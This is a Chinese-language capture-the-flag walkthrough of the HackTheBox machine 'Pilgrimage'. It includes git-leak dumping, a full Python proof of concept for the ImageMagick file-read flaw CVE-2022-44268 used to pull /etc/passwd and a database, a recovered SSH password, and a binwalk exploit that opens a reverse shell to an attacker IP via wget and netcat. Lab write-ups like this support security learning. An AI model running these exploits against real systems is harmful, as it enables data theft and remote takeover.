信息搜集
  • 端口扫描,熟悉的80,22端口开局

    1
    ./rustscan -a 10.129.160.210 -r 0-65535 --ulimit 5000

    image-20230630101727144

  • 访问80端口,需要修改hosts文件

    1
    2
    3
    sudo vi /etc/hosts
    //修改内容
    10.129.160.210 pilgrimage.htb
WEB
  • 80端口运行的是个文件压缩类应用,可以上传文件,存在登录及注册功能

    image-20230630102056521

  • 先注册一个账号,网站可以任意注册然后直接登录

    image-20230630102511755

  • 使用dirsearch进行目录扫描,发现网站存在git泄露漏洞

    1
    dirsearch -u http://pilgrimage.htb/

    image-20230630102711955

  • 下载lijiejie大神的GitHack工具,一把梭

    1
    2
    3
    4
    #工具地址
    https://github.com/lijiejie/GitHack
    #使用方法
    python GitHack.py http://pilgrimage.htb/.git

    image-20230630103409080

  • 泄露的git目录如下

    image-20230630103452751

  • 对代码进行审计,发现SQL文件路径和网站对上传文件的后缀做了严格限制

    image-20230630111748019

    image-20230630103600507

  • 在文件目录中发现一个magick文件,使用sublimetext打开发现是二进制文件

  • 使用file命令查看magick文件,给予其执行权限

    1
    2
    3
    file magick
    chmod +x magic
    ./magick

    image-20230630104048564

    image-20230630104231061

  • 网上搜索ImageMagick相关漏洞,发现7.1.0-49版本存在任意文件读取漏洞(CVE-2022-44268)

CVE-20220-44268
  • 漏洞大致原理

    ImageMagick解析 PNG 图像(例如,用于调整大小)时,生成的图像中可能会嵌入任意本地文件的内容(如果 ImageMagick 二进制文件有读取权限)。

  • 漏洞POC如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    /**POC参考链接
    https://github.com/vulhub/vulhub/blob/master/imagemagick/CVE-2022-44268/poc.py
    **/
    //POC
    #!/usr/bin/env python3
    import sys
    import png
    import zlib
    import argparse
    import binascii
    import logging

    logging.basicConfig(stream=sys.stderr, level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
    d = zlib.decompressobj()
    e = zlib.compressobj()
    IHDR = b'\x00\x00\x00\n\x00\x00\x00\n\x08\x02\x00\x00\x00'
    IDAT = b'x\x9c\xbd\xcc\xa1\x11\xc0 \x0cF\xe1\xb4\x03D\x91\x8b`\xffm\x98\x010\x89\x01\xc5\x00\xfc\xb8\n\x8eV\xf6\xd9' \
    b'\xef\xee])%z\xef\xfe\xb0\x9f\xb8\xf7^J!\xa2Zkkm\xe7\x10\x02\x80\x9c\xf3\x9cSD\x0esU\x1dc\xa8\xeaa\x0e\xc0' \
    b'\xccb\x8cf\x06`gwgf\x11afw\x7fx\x01^K+F'


    def parse_data(data: bytes) -> str:
    _, data = data.strip().split(b'\n', 1)
    return binascii.unhexlify(data.replace(b'\n', b'')).decode()


    def read(filename: str):
    if not filename:
    logging.error('you must specify a input filename')
    return

    res = ''
    p = png.Reader(filename=filename)
    for k, v in p.chunks():
    logging.info("chunk %s found, value = %r", k.decode(), v)
    if k == b'zTXt':
    name, data = v.split(b'\x00', 1)
    res = parse_data(d.decompress(data[1:]))

    if res:
    sys.stdout.write(res)
    sys.stdout.flush()


    def write(from_filename, to_filename, read_filename):
    if not to_filename:
    logging.error('you must specify a output filename')
    return

    with open(to_filename, 'wb') as f:
    f.write(png.signature)
    if from_filename:
    p = png.Reader(filename=from_filename)
    for k, v in p.chunks():
    if k != b'IEND':
    png.write_chunk(f, k, v)
    else:
    png.write_chunk(f, b'IHDR', IHDR)
    png.write_chunk(f, b'IDAT', IDAT)

    png.write_chunk(f, b"tEXt", b"profile\x00" + read_filename.encode())
    png.write_chunk(f, b'IEND', b'')


    def main():
    parser = argparse.ArgumentParser(description='POC for CVE-2022-44268')
    parser.add_argument('action', type=str, choices=('generate', 'parse'))
    parser.add_argument('-i', '--input', type=str, help='input filename')
    parser.add_argument('-o', '--output', type=str, help='output filename')
    parser.add_argument('-r', '--read', type=str, help='target file to read', default='/etc/passwd')
    args = parser.parse_args()
    if args.action == 'generate':
    write(args.input, args.output, args.read)
    elif args.action == 'parse':
    read(args.input)
    else:
    logging.error("bad action")


    if __name__ == '__main__':
    main()
  • 执行python文件,生成PNG图片

    1
    python ImageMagicPOC.py generate -o poc.png -r /etc/passwd

    image-20230630110334649

  • 在网上首页上传poc.png文件,抓包可以看见数据包中含有poc信息。上传成功会显示图片链接

    image-20230630110541833

    image-20230630110620478

  • curl图片保存到本地,使用POC文件查看图片内容

    1
    2
    curl http://pilgrimage.htb/shrunk/649e46888cb73.png --output result.png
    python ImageMagicPOC.py parse -i result.png

    image-20230630110955045

  • 整理得到的用户列表文件

    1
    2
    root:x:0:0:root:/root:/bin/bash
    emily:x:1000:1000:emily,,,:/home/emily:/bin/bash
  • 尝试使用POC读取SQL文件,因为编码问题会产生报错

    1
    python ImageMagicPOC.py generate -o poc.png -r /var/db/pilgrimage
  • 更换其他POC,下载地址和使用方法如下

    1
    2
    3
    4
    5
    #下载地址
    https://github.com/kljunowsky/CVE-2022-44268
    #使用方法,先复制一张图片到文件夹下,例如test.png
    #生成POC
    python3 CVE-2022-44268.py --image test.png --file-to-read /var/db/pilgrimage --output POC.png
  • 修改python脚本内容,并获取db文件内容

    1
    2
    3
    4
    #修改解码方式
    decrypted_profile_type = raw_profile_type_stipped
    #获取db数据,保存到SQL文件中
    python3 CVE-2022-44268.py --url http://xxxx.com/xxx.png

    image-20230702213946641

  • 使用xxd转换编码

    1
    cat dump.sql | xxd -r -p - > sqlite.sql
  • sqlite3打开SQL文件,搜索user相关信息

    1
    2
    sqlite3 sqlite.sql
    select * from users;

    image-20230702215307566

  • 拿到emily的密码,结合获取到的passwd文件。尝试用ssh连接

    1
    2
    3
    ssh [email protected]
    #密码
    abigchonkyboi123

    image-20230702215442036

  • 拿到user的flag

    1
    find / type f -name user.* 2>/dev/null

    image-20230702221354560

提权
  • 使用ps或者上传pspy查看系统进程,看到有一个sh脚本

    image-20230702221920319

  • 查看sh脚本,发现binwalk关键字

    image-20230702221956736

  • 使用searchsploit搜索binwalk相关漏洞

    image-20230702222043113

  • 将脚本拷贝到本文件夹下,使用方法如下

    1
    2
    3
    #复制一张png图片到脚本所在文件夹
    #生成poc
    python 51249.py /home/zpast0r/sectools/Binwalk/image.png 10.10.14.12 4444

    image-20230702222216984

  • 使用python开启http服务

    1
    python -m http.server 80

    image-20230702222308640

  • 本机开启监听,在靶机上使用wget下载后门png

    1
    2
    3
    4
    #本机
    nc -lvvp 4444
    #靶机
    wget http://10.10.14.12/binwalk_exploit.png

    image-20230702222451904

  • 获取到shell

    image-20230702222516568

  • 获取到root的flag

    1
    find / tyep f -name root.* 2>/dev/null

    image-20230702222635960